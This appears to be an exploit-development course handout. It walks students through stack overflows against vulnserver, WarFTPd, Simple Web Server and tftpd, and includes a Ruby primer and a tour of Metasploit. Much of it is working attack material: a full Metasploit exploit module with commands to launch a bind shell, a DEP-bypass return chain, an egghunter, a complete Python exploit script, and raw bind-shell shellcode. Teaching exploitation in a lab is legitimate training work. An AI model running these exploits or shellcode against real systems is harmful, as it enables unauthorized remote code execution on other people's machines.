Exploit Dev - SN - 2019

#####################################
# Quick Stack Based Buffer Overflow #
#####################################

- You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
http://45.63.104.73/ExploitLab.zip
http://45.63.104.73/nc-password-is-netcat.zip
http://45.63.104.73/WarFTP.zip
http://45.63.104.73/SEH.zip
http://45.63.104.73/sws.zip
http://45.63.104.73/tftpd.zip


- Extract the ExploitLab.zip file to your Desktop

- Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe

- Open a new command prompt and type:

---------------------------Type This-----------------------------------

nc localhost 9999
--------------------------------------------------------------------------

- In the new command prompt window where you ran nc type:
HELP

- Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
- Right-click on 1-simplefuzzer.py and choose the option edit with notepad++

- Now double-click on 1-simplefuzzer.py
- You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.


- Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.

- Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe

- Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.

- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).

- Now isolate the crash by restarting your debugger and running script 2-3000chars.py

- Calculate the distance to EIP by running script 3-3000chars.py
- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338

4-count-chars-to-EIP.py
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it

5-2006char-eip-check.py
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242

6-jmp-esp.py
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll

7-first-exploit
- In this script we actually do the stack overflow and launch a bind shell on port 4444

8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.


------------------------------



#########################################
# FreeFloat FTP Server Exploit Analysis #
#########################################



Analyze the following exploit code:
https://www.exploit-db.com/exploits/15689/

1. What is the target platform that this exploit works against?
2. What is the variable name for the distance to EIP?
3. What is the actual distance to EIP in bytes?
4. Describe what is happening in the variable ‘junk2’




Analysis of the training walk-through based on EID: 15689:
http://45.63.104.73/ff.zip




ff1.py
1. What does the sys module do? Call System Commands
2. What is sys.argv[1] and sys.argv[2]?
3. What application entry point is being attacked in this script?



ff2.py
1. Explain what is happening in lines 18 - 20 doing.
2. What pattern_create.rb doing and where can I find it?
3. Why can’t I just double click the file to run this script?



ff3.py
1. Explain what is happening in lines 17 - to 25?
2. Explain what is happening in lines 30 - to 32?
3. Why is everything below line 35 commented out?



ff4.py
1. Explain what is happening in lines 13 - to 15.
2. Explain what is happening in line 19.
3. What is the total length of buff?



Ff5.py
1. Explain what is happening in line 15.
2. What is struct.pack?
3. How big is the shellcode in this script?



ff6.py
1. What is the distance to EIP?
2. How big is the shellcode in this script?
3. What is the total byte length of the data being sent to this app?




ff7.py
1. What is a tuple in python?
2. How big is the shellcode in this script?
3. Did your app crash in from this script?




ff8.py
1. How big is the shellcode in this script?
2. What is try/except in python?
3. What is socket.SOCK_STREAM in Python?



ff9.py
1. What is going on in lines 19 and 20?
2. What is the length of the NOPs?
3. What is socket.SOCK_STREAM in Python?




ff010.py
1. What is going on in lines 18 - 20?
2. What is going on in lines 29 - 32?
3. How would a stack adjustment help this script?


Required review videos to watch tonight:
----------------------------------------
https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
Please watch videos 1-5 tonight. Vivek has a deep accent so I understand that it may be difficult but his material is very good - probably the best on the internet today.

Recommended (not required) videos to watch tonight:
---------------------------------------------------
For more background on Assembly I would recommend the following video series (videos 1-11):
https://www.youtube.com/playlist?list=PL6brsSrstzga43kcZRn6nbSi_GeXoZQhR
Again, you DO NOT have to watch these tonight but if you are really interested in the subject of exploit development I think they will be very helpful.



---------------------------------------------------------------------------------------------------------------------############################
# Day 2: Ruby Fundamentals #
############################



- Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
scientist and programmer from Japan. It is a cross-platform dynamic language.

- The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
on Rails is a framework that is written in Ruby.

- Ruby's file name extensions are .rb and .rbw.

- official website of this

- language: www.ruby-lang.org.


- interactive Shell called Ruby Shell

- open up the interactive console and play around.

---------------------------Type This-----------------------------------
irb
-----------------------------------------------------------------------


- Math, Variables, Classes, Creating Objects and Inheritance


The following arithmetic operators:
    Addition operator (+) — 10 + 23
    Subtraction operator (-) — 1001 - 34
    Multiplication operator (*) — 5 * 5
    Division operator (/) — 12 / 2



- Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
30. Again, 69 is assigned to y, and then y is incremented by 33.

---------------------------Type This-----------------------------------
x = 25
x + 30
y = 69
y+33
-----------------------------------------------------------------------



- Let's look at creating classes and creating objects.

- Here, the name of the class is Attack. An object has its properties and methods.


---------------------------Type This-----------------------------------
class Attack
attr_accessor :of, :sqli, :xss
end
-----------------------------------------------------------------------


What is nil?
Reference:
https://www.codecademy.com/en/forum_questions/52a112378c1cccb0f6001638

nil is the Ruby object that represents nothingness. Whenever a method doesn’t return a useful value, it returns nil. puts and print are methods that return nil:

Since the Ruby Console always shows the value of the last statement or expression in your code, if that last statement is print, you’ll see the nil.

To prevent the nil from "sticking" to the output of print (which doesn’t insert a line break), you can print a line break after it, and optionally put some other value as the last statement of your code, then the Console will show it instead of nil:





# Now that we have created the classes let's create the objects
---------------------------Type This-----------------------------------
first_attack = Attack.new
first_attack.of = "stack"
first_attack.sqli = "blind"
first_attack.xss = "dom"
puts first_attack.of
puts first_attack.sqli
puts first_attack.xss
-----------------------------------------------------------------------




- Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
one object can access the properties/attributes of another object of a different class. Inheritance makes your
programming life easier by maximizing code reuse.


---------------------------Type This-----------------------------------
class Exploitframeworks
attr_accessor :scanners, :exploits, :shellcode, :postmodules
end
class Metasploit < Exploitframeworks
end
class Canvas < Exploitframeworks
end
class Coreimpact < Exploitframeworks
end
class Saint < Exploitframeworks
end
class Exploitpack < Exploitframeworks
end
-----------------------------------------------------------------------




- Methods, More Objects, Arguments, String Functions and Expression Shortcuts

- Let's create a simple method. A method is used to perform an action and is generally called with an object.

- Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
it will print this string: "We are Learning how to PenTest"

- An object named 'bo' is created, which is used to call the method.


---------------------------Type This-----------------------------------
class Msfnl
def learning
puts "We are Learning how to PenTest"
end
end
-----------------------------------------------------------------------

#Now let's define an object for our Method

---------------------------Type This-----------------------------------
joe = Msfnl.new
joe.learning
-----------------------------------------------------------------------



- An argument is a value or variable that is passed to the function while calling it. In the following example, while
calling the puts() function, we are sending a string value to the function. This string value is used by the
function to perform some particular operations.

puts ("Pentesting")


- There are many useful string functions in Ruby. String functions make it easy to work with strings. Now, we will
explain some useful string functions with an example.

- The length function calculates the length of a string. The upcase function converts a string to uppercase. And the
reverse function reverses a string. The following example demonstrates how to use the string functions.

---------------------------Type This-----------------------------------
55.class
"I Love Programming".class
"I Love Pentesting".length
"Pown that box".upcase
"Love" + "To Root Boxes"
"evil".reverse
"evil".reverse.upcase
-----------------------------------------------------------------------


-  expressions and shortcuts. In the below example, 'a' is an operand, '3' is an operand,  '=' is
an operator, and 'a=3' is the expression. A statement consists of one or multiple expressions. Following are the
examples of some expressions.

---------------------------Type This-----------------------------------
a = 3
b = 6
a+b+20
d = 44
f = d
puts f
-----------------------------------------------------------------------





- shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
statements to understand the shortcuts.

---------------------------Type This-----------------------------------
g = 70
g = g+44
g += 33
-----------------------------------------------------------------------


- In the above statement, g is incremented by 33 and then the total value is assigned to g.



---------------------------Type This-----------------------------------
g *= 3
-----------------------------------------------------------------------


- In the above statement, g is multiplied with 3 and then assigned to g.

- Example

- Comparison Operators, Loops, Data Types, and Constants

- Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
how to use the following comparison operators.

'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
variable or constant. If it's less than the other, the 'less than' operator returns true.

'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
or constant. If it's equal to the other, the 'equal to' operator returns true.

'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.

---------------------------Type This-----------------------------------
numberofports = 55
puts "number of ports found during scan" if numberofports < 300
numberofports = 400
puts "number of ports found during scan" if numberofports < 300
puts "number of ports found during scan" if numberofports == 300
puts "number of ports found during scan" if numberofports != 300
-----------------------------------------------------------------------



Example


- the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.

- This operator is generally used to combine multiple conditions.
- In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the

- following example to understand how this operator works.

---------------------------Type This-----------------------------------
ports = 100
puts "number of ports found on the network" if ports<100 || ports>200
puts "number of ports found on the network" if ports<100 || ports>75
-----------------------------------------------------------------------

# unless

---------------------------Type This-----------------------------------
portsbelow1024 = 50
puts "If the ports are below 1024" unless portsbelow1024 < 1000
puts "If the ports are below 1024" unless portsbelow1024 < 1055
puts "If the ports are below 1024" unless portsbelow1024 < 20
-----------------------------------------------------------------------

- The 'unless' keyword is used to do something programmatically unless a condition is true.



- Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.

- See the following example to understand how a string is printed 10 times on the screen using a loop.

---------------------------Type This-----------------------------------
10.times do puts "infosecaddicts" end
-----------------------------------------------------------------------

# Or use the curly braces

---------------------------Type This-----------------------------------
10.times {puts "infosecaddicts"}
-----------------------------------------------------------------------


- Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
working with different data types. Data type conversion is also known as type casting.



- Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
change the value of a constant, you will see a warning message.




- Multiple Line String Variable, Interpolation, and Regular Expressions

- A multiple line string variable lets you assign the value to the string variable through multiple lines.

---------------------------Type This-----------------------------------
infosecaddicts = <<mark
welcome
to the
best
metasploit
course
on the
market
mark
puts infosecaddicts
-----------------------------------------------------------------------


- Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
Examine the following example to understand how interpolation works in Ruby.

References:
https://stackoverflow.com/questions/10869264/meaning-of-in-ruby


---------------------------Type This-----------------------------------
a = 4
b = 6
puts "a * b = a*b"
puts " #{a} * #{b} = #{a*b} "
person = "Joe McCray"
puts "IT Security consultant person"
puts "IT Security consultant #{person}"
-----------------------------------------------------------------------

- Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.





- Character classes
---------------------------Type This-----------------------------------
infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
"I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
"I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
-----------------------------------------------------------------------


- Arrays, Push and Pop, and Hashes


- In the following example, numbers is an array that holds 6 integer numbers.


---------------------------Type This-----------------------------------
numbers = [2,4,6,8,10,100]
puts numbers[0]
puts numbers[4]
numbers[2] = 150
puts numbers
-----------------------------------------------------------------------



- Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.


---------------------------Type This-----------------------------------
framework = []
framework << "modules"
framework << "exploits"
framework << "payloads"
framework.pop
framework.shift
-----------------------------------------------------------------------

- Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
that is used to access the element.


- Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
respective values: 'what module should you use', 'Windows XP' and 'SSH'.

---------------------------Type This-----------------------------------
metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
print metasploit.size
print metasploit["microsoft"]
metasploit['microsoft'] = 'redhat'
print metasploit['microsoft']
-----------------------------------------------------------------------



- Writing Ruby Scripts


- Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
someone made to look for a specific port. The port that it is looking for is port 21 FTP.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
ls
-----------------------------------------------------------------------



###########################
# Metasploit Fundamentals #
###########################

- Let's take a little look at Metasploit Framework

- First, we should take note of the different directories, the Modular Architecture.

The modules that make up the Modular Architecture are
Exploits
Auxiliary
Payload
Encoder
Nops


Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,

are

Modules
Scripts
Plugins
External
Data
Tools

- Let's take a look inside the Metasploit directory and see what's the
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit
ls
-----------------------------------------------------------------------



- Now let's take a look inside the Modules directory and see what's there.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules
ls
-----------------------------------------------------------------------


The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
not necessarily need to - have a shell or session started on a machine.

The exploits directory has our modules that we need to pop a shell on a box.
The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
like Burp Suite
- Let's take a look at the external directory
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/external
ls
-----------------------------------------------------------------------

- Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/data
ls
-----------------------------------------------------------------------

- For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
brute-forcing
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/data/wordlists
ls
-----------------------------------------------------------------------

- The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
once a session is created.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/data/meterpreter
ls
-----------------------------------------------------------------------

- The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
like escalating privileges and dumping hashes.

These are being phased out, though, and post-exploitation modules are what is being more preferred.
The next important directory that we should get used to is the 'tools' directory. Inside the tools directory we'll
find a bunch of different ruby scripts that help us on a pentest with things ranging from creating a pattern of code
for creating exploits, to a pattern offset script to find where at in machine language that we need to put in our
custom shellcode.

The final directory that we'll need to keep in mind is the plugins directory, which houses all the modules that have
to do with other programs to make things like importing and exporting reports simple.
Now that we have a clear understanding of what all of the different directories house, we can take a closer look at
the exploits directory and get a better understanding of how the directory structure is there, so if we make our own
modules we're going to have a better understanding of where everything needs to go.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/exploits
ls
-----------------------------------------------------------------------


- The exploits directory is split up into several different directories, each one housing exploits for different types
of systems. I.E. Windows, Unix, OSX, dialup and so on.
Likewise, if we were to go into the 'windows' directory, we're going to see that the exploits have been broken down
into categories of different types of services/programs, so that you can pick out an exploit specifically for the
service you're trying to exploit. Let's dig a little deeper into the auxiliary directory and see what all it holds
for us.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/auxiliary/
ls
-----------------------------------------------------------------------


- And a little further into the directory, let's take a look at what's in the scanner directory
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/auxiliary/scanner/
ls
-----------------------------------------------------------------------


- And one more folder deeper into the structure, let's take a look in the portscan folder
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
ls
-----------------------------------------------------------------------

- If we run 'cat tcp.rb' we'll find that this module is simply a TCP scanner that will find tcp ports that are open
and report them back to us in a nice, easily readable format.

cat tcp.rb



- Just keep in mind that all of the modules in the auxiliary directory are there for information gathering and for use
once you have a session on a machine.
Taking a look at the payload directory, we can see all the available payloads, which are what run after an exploit
succeeds.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/payloads/
ls
-----------------------------------------------------------------------


- There are three different types of payloads: single, stagers, and staged. Each type of payload has a different
application for it to be used as.
Single payloads do everything you need them to do at one single time, so they call a shell back to you and let you
do everything once you have that shell calling back to you.
Stagers are required for limited payload space so that the victim machine will call back to your attack box to get
the rest of the instructions on what it's supposed to do. The first stage of the payload doesn't require all that
much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
to download Stages payloads.


- Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
shells.
---------------------------Type This-----------------------------------
cd singles
cd windows
ls
-----------------------------------------------------------------------


- We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
see what it actually does.
---------------------------Type This-----------------------------------
cat adduser.rb
-----------------------------------------------------------------------

Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
it gives Windows to add the user to the system.


- Stagers just connect to victim machine back to yours to download the Stages payload, usually with a

windows/shell/bind_tcp or windows/shell/reverse_tcp
---------------------------Type This-----------------------------------
cd ../../stagers
ls
-----------------------------------------------------------------------



- Again, we can see that we have stagers for multiple systems and code types.
---------------------------Type This-----------------------------------
ls windows/
-----------------------------------------------------------------------


As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
machine, so we can upload or download our stage payloads and execute commands.
Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
our stagers...
---------------------------Type This-----------------------------------
cd ../stages
ls
-----------------------------------------------------------------------


Again, we can see that our stages are coded for particular operating systems and languages.
We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
if any.

- Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
so we can impersonate other users on the system in hopes of elevating our privileges.
---------------------------Type This-----------------------------------
cd ../../../post/
ls
cd windows/
ls
-----------------------------------------------------------------------


Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.

------------------------------




------------------------------------------

------------------------------------------






---------------------------Type This-----------------------------------

cd ~/toolz/metasploit/modules/exploits/windows/misc

nano vulnserv.rb
-------(paste the code below into this file)-------
#
#
# Quick Metasploit exploit for vulnserver.exe
# Written by: Joe McCray
# Email: joe@strategicsec.com
#
# Place this exploit in:
# ~/toolz/metasploit/modules/exploits/windows/misc
#
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	include Msf::Exploit::Remote::Tcp
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Custom vulnerable server stack overflow',
			'Description'    => %q{
				This module exploits a stack overflow in an app called
				vulnserver that is designed to teach simple exploitation.
				},
			'Author'         => [ 'Joe McCray' ],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x20",
				},
			'Platform'       => 'win',

			'Targets'        =>
				[
					[
						'Windows XP SP3 EN',
							{
								'Ret' => 0x625011AF,
							}
					],
				],
			'DefaultTarget' => 0,

			'Privileged'     => false
			))

			register_options(
			[
				Opt::RPORT(9999)
			], self.class)
	end

	def exploit
		connect
		sock.recv(1024)

		p =  "\x41" * 16
		p << payload.encoded

		hdr =  "TRUN ."
		boom = pattern_create(3000)
		boom[2006, 4] = [target.ret].pack('V')	# EIP value
		boom[2010, p.length] = p

		sploit = hdr + boom

		sock.put(sploit)

		handler
		disconnect

	end

end
------------------end of copy/paste content --------------



---------------------------Type This-----------------------------------
cd ~/toolz/metasploit

./msfconsole



use exploit/windows/misc/vulnserv
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST CHANGEME-TO-YOUR-WIN7-IP
set RPORT 9999
exploit
-----------------------------------------------------------------------
###########################
# Lab 1a: Stack Overflows #
###########################

    #################################
    # Start WarFTPd                 #
    # Start WinDBG                  #
    # Press F6                      #
    # Attach to war-ftpd.exe        #
    #################################

---------------------------Type This-----------------------------------
c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP
-----------------------------------------------------------------------

    At WINDBG prompt
    “r” to show registers or “alt+4”

---------------------------Type This-----------------------------------
    0:003> dd eip
    0:003> dd esp
-----------------------------------------------------------------------

---------------------------Type This-----------------------------------

c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP
-----------------------------------------------------------------------


    At WINDBG prompt
    “r” to show registers or “alt+4”

---------------------------Type This-----------------------------------

    0:003> dd eip
    0:003> dd esp
-----------------------------------------------------------------------

    Eip: 32714131
    esp: affd58     (71413471)

    Now we need to SSH into the StrategicSec Ubuntu host

---------------------------Type This-----------------------------------

    cd /home/strategicsec/toolz/metasploit/tools

    ruby pattern_offset.rb 32714131
    485

    ruby pattern_offset.rb 71413471
    493
-----------------------------------------------------------------------

    Distance to EIP is:         	485
    Relative position of ESP is:    493

    RET – POP EIP
    RET 4 – POP EIP and shift ESP down by 4 bytes

---------------------------Type This-----------------------------------

    cd /home/strategicsec/toolz/metasploit/
    ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
-----------------------------------------------------------------------

        0x7c9c167d push esp; retn 0x304d
        0x7c9d30d7 jmp esp < - how about we use this one
        0x7c9d30eb jmp esp
        0x7c9d30ff jmp esp


        warftpd3.py with Notepad++
        Fill in the appropriate values
        Distance to EIP
        Address of JMP ESP


---------------------------Type This-----------------------------------

c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP

    0:003> dd eip
    0:003> dd esp
-----------------------------------------------------------------------





    Mention bad characters
    No debugger


---------------------------Type This-----------------------------------

c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP

nc XPSP3-ED-Target-IP 4444
-----------------------------------------------------------------------



###########################################
# Lab 1b: Stack Overflows with DEP Bypass #
###########################################

Reboot your target host and choose the "2nd" option for DEP.




---------------------------Type This-----------------------------------

c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP

    At WINDBG prompt
    “r” to show registers or “alt+4”

    dd esp




c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP


    At WINDBG prompt
    “r” to show registers or “alt+4”
    dd esp
-----------------------------------------------------------------------

    Eip: 32714131
    esp: affd58     (71413471)

    Now we need to SSH into the StrategicSec Ubuntu host

---------------------------Type This-----------------------------------

    cd /home/strategicsec/toolz/metasploit/tools

    ruby pattern_offset.rb 32714131
    485

    ruby pattern_offset.rb 71413471
    493








cd /home/strategicsec/toolz/metasploit/tools

ruby pattern_offset.rb 32714131

cd /home/strategicsec/toolz/metasploit/

./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7



c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP

    0:003> dd eip
    0:003> dd esp

INT3s - GOOD!!!!!!!



c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP

nc XPSP3-ED-Target-IP 4444
-----------------------------------------------------------------------


strategicsec....exploit no workie!!!!


Why????????? DEP!!!!!!!!!!!!!




Let's look through ole32.dll for the following instructions:

mov al,0x1
ret 0x4

We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.


---------------------------Type This-----------------------------------

./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
-----------------------------------------------------------------------

[DLLs/xpsp3/ole32.dll]
0x775ee00e b001c204
0x775ee00e      mov al, 1
0x775ee010      ret 4


Then we need to jump to the LdrpCheckNXCompatibility routine in
ntdll.dll that disables DEP.



Inside of ntdll.dll we need to find the following instructions:

CMP AL,1
PUSH 2
POP ESI
JE ntdll.7


---------------------------Type This-----------------------------------

./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
-----------------------------------------------------------------------

[DLLs/xpsp3/ntdll.dll]
0x7c91cd24 3c016a025e0f84
0x7c91cd24      cmp al, 1
0x7c91cd26      push 2
0x7c91cd28      pop esi
0x7c91cd29      jz 7


This set of instructions makes sure that AL is set to 1, 2 is pushed
on the stack then popped into ESI.




---------------------------Type This-----------------------------------

dep = "\x0e\xe0\x5e\x77"+\
"\xff\xff\xff\xff"+\
"\x24\xcd\x91\x7c"+\
"\xff\xff\xff\xff"+\
"A"*0x54




c:\python27\python.exe warftpd5.py XPSP3-ED-Target-IP

nc XPSP3-ED-Target-IP 4444
-----------------------------------------------------------------------


########################################
# Lab 2a: Not Enough Space (Egghunter) #
########################################

-----------------------------------------------------------------------

SWS - SIMPLE WEB SERVER
-----------------------

Running SWS on Strategicsec-XP-ED-Target-VM
Start > Programs > Simple Web Server (it's in the middle somewhere)
Red icon in system tray
Double click it
- it will pop up a menu
- select "start"
- dialog box shows starting params - port 82

WinDBG
- attach to "server.exe"

---------------------------Type This-----------------------------------

c:\python27\python.exe  sws1.py XPSP3-ED-Target-IP

    0:003> dd eip
    0:003> dd esp

c:\python27\python.exe  sws2.py XPSP3-ED-Target-IP

    0:003> dd eip
    0:003> dd esp

SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
cd /home/strategicsec/toolz/metasploit/tools
ruby pattern_offset.rb 41356841             <------- You should see that EIP is at 225
ruby pattern_offset.rb 68413668             <------- You should see that ESP is at 229

-----------------------------------------------------------------------







EGGHUNTER:
----------

"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
          ^^^^^^^^^^^^^^^^
               ABBA
                                         JMP ESP
                                        /
                                       /
GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)




-----sws3.py-----
#!/usr/bin/python2
import os
import sys
import socket
import struct # for pack function

if len(sys.argv) < 2:
	sys.stderr.write("Usage: sws3.py <host>\n")
	sys.exit(1)


target = sys.argv[1]
port = 82


pad = "A" * 225        # distance to EIP
eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll

egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

shellcode = "\xCC" * 700

buf = "GET /"
buf += pad + struct.pack('<I', eip) + egghunter
buf += " HTTP/1.0\r\n"
buf += "User-Agent: ABBAABBA"
buf += shellcode
buf += " HTTP/1.0\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # for TCP
# s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for UDP

try:
	s.connect((target, port))
	s.sendall(buf)
except Exception as e:
	sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
finally:
	s.close()
	sys.stderr.write("Sent.\n")
-----

############################################
# Lab 2b: Not Enough Space (Negative Jump) #
############################################



-----------------------------------------------------------------------

[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]

                                    ^
1 ----------------------1 overflow the buffer---------------------------|

                                    ^                    ^
                                    |
                                    2 ----jump over seh record---|

                                                     ^              ^
                                                     |
                                                     3--POP 2 words off stack---|

                                                                    ^
4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|


#########################################
# Lab 2c: Not Enough Space (Trampoline) #
#########################################

---------------------------Type This-----------------------------------

cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
-----------------------------------------------------------------------


On the Strategicsec-XP-ED-Target-VM VM

- open a command prompt
- c:\software\tftpd32
- run tftpd32.exe
- UDP port 69
(socket code is already in the scripts)




On your attack host please install:


  NASM - Netwide Assembler





-----------------------------------------------------------------------------------------------------------------


We want to generate the shellcode (BIND SHELL on Port 4444)
- No restricted characters
- Encoder: NONE

Create a Python file called dumpshellcode.py

---
#!/usr/bin/python2

import os
import sys
import struct


# win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
